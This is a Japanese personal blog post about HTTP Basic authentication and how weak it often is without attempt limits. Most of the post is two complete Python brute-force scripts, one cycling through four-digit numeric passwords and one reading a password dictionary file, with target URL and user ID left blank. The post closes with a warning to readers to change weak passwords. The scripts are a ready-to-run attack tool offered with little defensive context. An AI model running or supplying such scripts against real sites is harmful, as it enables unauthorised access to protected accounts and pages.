Nekkoneko Blog

ITに関することや自分の趣味について書きます.

PythonでBasic認証に総当り攻撃 

Basic認証って?

WebページにアクセスするときにIDとパスワードを求められるあれですよ.

Basic認証弱すぎじゃね?

Basic認証は,設定次第でアクセス試行回数を制限できるんですが,みんながそんなことをやっているわけではないので(てか,やってないほうが多い気がする),すぐ破られちゃいます.

Pythonで総当り攻撃

というわけで,プログラムを書いてみたんですが,めちゃくちゃ簡単に書くことができます.

で,その書いたプログラムというのがこちらです. (上が数字4桁,下が辞書ファイルを使ったもの)

#数字4桁の総当たり攻撃
import urllib.request

def attack_basic(url,user_id):
    for password in range(1,10000):
        password = str(password)
        try:
            pass_mgr = urllib.request.HTTPPasswordMgrWithDefaultRealm()
            pass_mgr.add_password(realm=None,uri=url,user=user_id,passwd=password)
            handler = urllib.request.HTTPBasicAuthHandler(pass_mgr)
            opener = urllib.request.build_opener(handler)
            urllib.request.install_opener(opener)
            urllib.request.urlopen(url)
            print("%s is correct!" % password)
        except urllib.request.HTTPError as err:
            print("%s is incorrect" % password)


if __name__ == '__main__':
    url = ""
    user_id = ""
    attack_basic(url,user_id)
#辞書ファイルを使った総当たり攻撃
import urllib.request

def attack_basic(url,user_id):
    f = open("","r")
    passlist=f.read().splitlines()
    for password in passlist:
        try:
            pass_mgr = urllib.request.HTTPPasswordMgrWithDefaultRealm()
            pass_mgr.add_password(realm=None,uri=url,user=user_id,passwd=password)
            handler = urllib.request.HTTPBasicAuthHandler(pass_mgr)
            opener = urllib.request.build_opener(handler)
            urllib.request.install_opener(opener)
            urllib.request.urlopen(url)
            print("%s is correct!" % password)
        except urllib.request.HTTPError as err:
            print("%s is incorrect" % password)


if __name__ == '__main__':
    url = ""
    user_id = ""
    attack_basic(url,user_id)

ピンときた人は!

すぐ変えてください. 私程度のワナビーにパスワードを破られるようじゃお話になりません.